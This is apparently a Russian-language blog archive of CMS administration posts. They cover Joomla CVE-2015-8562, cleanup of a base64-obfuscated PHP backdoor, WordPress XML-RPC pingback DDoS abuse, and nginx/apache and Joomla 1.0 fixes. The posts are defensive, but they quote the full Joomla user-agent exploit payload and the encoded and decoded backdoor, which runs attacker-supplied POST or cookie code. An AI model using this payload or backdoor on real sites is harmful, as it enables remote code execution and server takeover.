Архив рубрики: CMS

Уязвимость во всех версиях Joomla, позволяющая выполнить удаленно любой код (CVE-2015-8562)

Несколько дней назад была обнаружена уязвимость (CVE-2015-8562), которая затрагивает все версии Joomla, начиная с версии 1.5 и позволяет злоумышленнику удаленно выполнить любой код на сервере. Уязвимость возникла из-за недостаточной фильтрации информации о браузере (в частности, юзерагенте) при записи данных сессии в БД. Для актуальных версий Joomla уже доступен апдейт до версии 3.4.6, в котором уязвимость устранена. Если же вы пользуетесь версией 1.5 или 2.5, вам необходимо вручную заменить файл libraries/joomla/session/session.php на исправленный файл, который вы можете скачать отсюда: https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions

Также, можно по логам веб-сервера отследить пытались ли вас взломать. Для взлома, в строку юзер-агента записывается примерно следующее:

}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:60:\x22eval(base64_decode($_POST[111]));JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\x9D\x8C\x86"

Таким образом, примерная строка для поиска в логах будет выглядеть как  __test|O:

Этого вполне достаточно для того, чтобы отсеять все правильные юзер-агенты и запросы от попыток эксплойта.

Если вдруг вы обнаружили у себя похожие записи в логе, будет лучше сразу восстановить сайт из бэкапа — в последнее время злоумышленники хорошо умеют заметать следы путем изменения даты создания файла, встраивания своего кода во многие системные файлы с последующим изменением даты и т.д. Выявить все места вручную — нереально.

Удаление вредоносного кода base64_decode из файлов Joomla

Не все обновляют свои сайты и уж тем более не все следят за новостями в области уязвимостей в известных CMS и их компонентах. Как результат, возникает большое количество зараженных сайтов, которые могут принести огромный вред.

Сегодня я рассмотрю один частный случай заражения сайтов, результатом которого может стать участие сервера в бот-сети.

При получении доступа на запись к файлам вашего сайта, злоумышленник вносит изменения в некоторые файлы. На первый взгляд, они случайные, но при просмотре сотен таких сайтов выявляются некоторые закономерности. Чаще всего изменения вносятся в файлы шаблонов, в файлы из директории ./xmlrpc/includes, а также создаются файлы с названием test.php в других местах. Эти изменения выглядят следующим образом:

<?php !много-много-табов! /*1a21ca6047eb4089bb2c25013a757f10*/ eval(base64_decode("JHcgID0gICAgJ28nOzsgOyAgICAgaWYgICAgICggICAgIGlzc2V0KCAgJF9DT09LSUVbJ2R3YyddKSAgICApICAgICB7ICAgZWNobyAgICc8Y3dkPicgICAgIC4gICBnZXRjd2QoKSAgICAuICAnPC9jd2Q+Jzs7IDsgICAgIH0gICAgaWYgICAoICBpc3NldCAgICggICRfUE9TVFsncDFhMiddICAgICApICAgICApICAgICB7ICAgIGV2YWwgICggICBiYXNlNjRfZGVjb2RlICAgICggICAgICRfUE9TVFsncDFhMiddICAgICkgICApOzsgOyAgIHJldHVybjs7ICAgICAgfSAgaWYgICAgKCAgICAgaXNzZXQoICAkX0NPT0tJRVsncDFhMiddKSAgICApICAgIHsgIGV2YWwgICggICAgIGJhc2U2NF9kZWNvZGUgICAgICggICAgJF9DT09LSUVbJ3AxYTInXSAgICApICApOzsgOyAgIHJldHVybjs7IDsgICB9ICAgIA==")); ?>

При расшифровке получается довольно интересный код:

$w = 'o';; ; if ( isset( $_COOKIE['dwc']) ) { echo '<cwd>' . getcwd() . '</cwd>';; ; } if ( isset ( $_POST['p1a2'] ) ) { eval ( base64_decode ( $_POST['p1a2'] ) );; ; return;; } if ( isset( $_COOKIE['p1a2']) ) { eval ( base64_decode ( $_COOKIE['p1a2'] ) );; ; return;; ; }

Как видно из него, шаблон выведет текущую директорию относительно корня веб-сервера при обнаружении в cookie переменной с именем dwc.  Но самое интересное — это декодирование и запуск содержимого переменной p1a2 из POST-запроса или аналогичной переменной из cookie. В эту переменную можно записать в base64-формате абсолютно любой код и он будет выполнен с правами веб-сервера. Для неплохого ddos этого вполне достаточно.

В чем проблема найти и удалить этот код? В том, что имена переменных, как и комментарий до них меняется от файла к файлу. А значит, меняется и содержимое текста в base64_decode(). В пределах одного сайта, конечно, можно удалить все вручную. Но если таких сайтов хотя бы 200? Правильно, надо писать регулярное выражение для поиска и удаления этих строк.

Я решил, что безопаснее и быстрее сначала найти все эти сайты без регулярных выражений, после этого проверить вручную результат и только после этого удалять лишнее. Запускаем поиск по куску кода, исключая бинарные файлы с выводом всего найденного в файл:

cd /var/www
grep -I -R '*/ eval(base64_decode(' ./ >/root/base64-files

Предполагается, что все сайты лежат в /var/www

После этого внимательно просматриваем его (а мало ли на сайте есть кусок нормального кода, который подходит под это описание). Если все просмотрено и ничего лишнего там нет — запускаем, собственно, удаление такой командой:

cat /root/base64-files |awk -F ':' '{print "/var/www"substr($1,2)}'|xargs -l sed -i.bak 's#^<?php[[:blank:]]*/*[a-z0-9*]*/[[:blank:]]*eval(base64_decode(\".*\")); ?>##'

Расшифрую вкратце: читаем файл base64-files, используем в качестве разделителя столбцов в awk двоеточие и выводим подстроку со второго символа (первый символ — точка) с префиксом /var/www. После этого передаем все это в xargs, который, в свою очередь построчно скармливает результат в sed, который с обязательным бэкапом файла заменяет содержимое, в соответствии с регулярным выражением на пустоту, т.е. удаляет.

После удаления, на всякий случай, можно «прогнать» поиск всего кода base64_decode на сайтах. Зачастую, этот код используется в не очень хороших целях. Но анализировать и проверять надо все по месту.

Пустые страницы в joomla 1.0 на php 5.3

Время идет, софт обновляется, но бывают случаи, когда сайты под новый софт обновить сложно по той или иной причине. На данный момент, все больше серверов у различных хостеров переходят на php 5.3, а то и выше. И если ваш сайт сделан на joomla 1.0, поддержка которой, между прочим, закончилась еще в 2009 году, то после обновления версии PHP, на вашем сайте перестанет отображаться весь контент — будет отображено только содержимое модулей.

Для того, чтобы пофиксить этот небольшой глюк, необходимо заменить в файле includes/Cache/Lite/Function.php строку:

$arguments = func_get_args();

на следующие строки

$arguments = func_get_args();
$numargs = func_num_args();
for($i=1; $i < $numargs; $i++){
$arguments[$i] = &$arguments[$i];
}

Это исправит проблему пустых страниц.

Уязвимость в XMLRPC WordPress, позволяющая использовать ваш сайт в DDoS-атаках

Внимание пользователям WordPress! Ваш сайт легко может стать частью ботнета, используемого для DDoS-атак. Вам для этого даже делать ничего не придется :)

Недавно была опубликована статья, в которой описывается довольно мощная атака с использованием сайтов под управлением WordPress. Атака стала возможной из-за включенного по умолчанию Pingback (механизма оповещения с других блогов). Для использования сайта в атаке, злоумышленнику достаточно обратиться к файлу xmlrpc.php и передать ему определенные параметры, которые включают в себя в том числе адрес атакуемого сайта. В ответ на этот запрос ваш сайт автоматически сформирует новый запрос к атакуемому сайту. Таким образом, рассылая «легкие» запросы на сотни или тысячи сайтов WordPress, можно добиться поступления запросов на атакуемый сервер с частотой сотен или тысяч запросов в секунду. Если нерадивый сисадмин не позаботился об ограничении количества одновременно обрабатываемых запросов на сервере — сервер просто-напросто перестанет отвечать.

Для того, чтобы ваш сайт не участвовал в таких сомнительных «мероприятиях», необходимо отключить оповещения с других блогов, а также отключить оповещение для всех опубликованных материалов.

Отключаем оповещения с других блогов:

Защита wordpress от xmlrpc

Отключаем оповещения для уже опубликованных записей:

Отключение оповещения для записей

Отключение оповещения для записей wordpress

После выставления этих настроек ваш сайт не сможет стать частью ботнета, а вы избежите отключения сайта хостером за превышение нагрузки :)

Работа WordPress на nginx + apache (постоянный 301 редирект)

В последнее время связка nginx + apache стала очень популярной среди администраторов веб-серверов. Эта связка довольно эффективна: nginx обеспечивает высокую скорость отдачи статического контента, кэширование, балансировку нагрузки, а apache, в свою очередь, давно признан стандартом де-факто среди веб-серверов за свою многофункциональность.

Ожидаемым было и появление хостинг-провайдеров, работающих с данной связкой. Чаще всего настройка nginx в данной связке ограничивается примерно такой конструкцией:

location / {
     index index.php index.html index.htm;
     try_files $uri $uri/ @proxy;
}
location ~ \.php$ {
     proxy_set_header X-Real-IP $remote_addr;
     proxy_set_header Host $host;
     proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
     proxy_pass http://127.0.0.1;
}
location @proxy {
     proxy_set_header X-Real-IP $remote_addr;
     proxy_set_header Host $host;
     proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
     proxy_pass http://127.0.0.1;
}

В таком случае установка WordPress вызовет бесконечную переадресацию с кодом 301. Дело в том, что nginx при получении запроса GET / будет подставлять индексный файл index.php и отправлять этот запрос на прокси, в качестве которого выступает apache. Apache, в свою очередь, запустит этот файл и за обработку запроса и формирование страницы примется WordPress. Для пущей красоты WordPress удалит из адресной строки index.php, который туда «дописал» nginx и вернет новый «красивый» урл с редиректом 301 клиенту. Клиент перейдет по нему, nginx допишет index.php и мы будем иметь то, что имели в самом начале.

Разные браузеры по-разному воспримут данную ситуацию, но бОльшая часть текущих версий после некоторого количества редиректов перестанет следовать им и выдаст страницу с ошибкой. Другими словами, сайт работать не будет.

Во избежание такой ситуации можно применить простой фикс: добавить в nginx еще один location, который будет отправлять запросы без указания конкретного файла сразу на apache без дописывания индексного файла. Таким образом, надо добавить примерно такую конструкцию:

location ~[^?]*/$ {
     proxy_set_header X-Real-IP $remote_addr;
     proxy_set_header Host $host;
     proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
     proxy_pass http://127.0.0.1;
}

В таком случае запрос вида GET / будет передан на apache без изменений, wordpress его корректно обработает и вернет главную страницу сайта. При этом, естественно, индексный файл index.php должен быть определен и в конфигурации apache.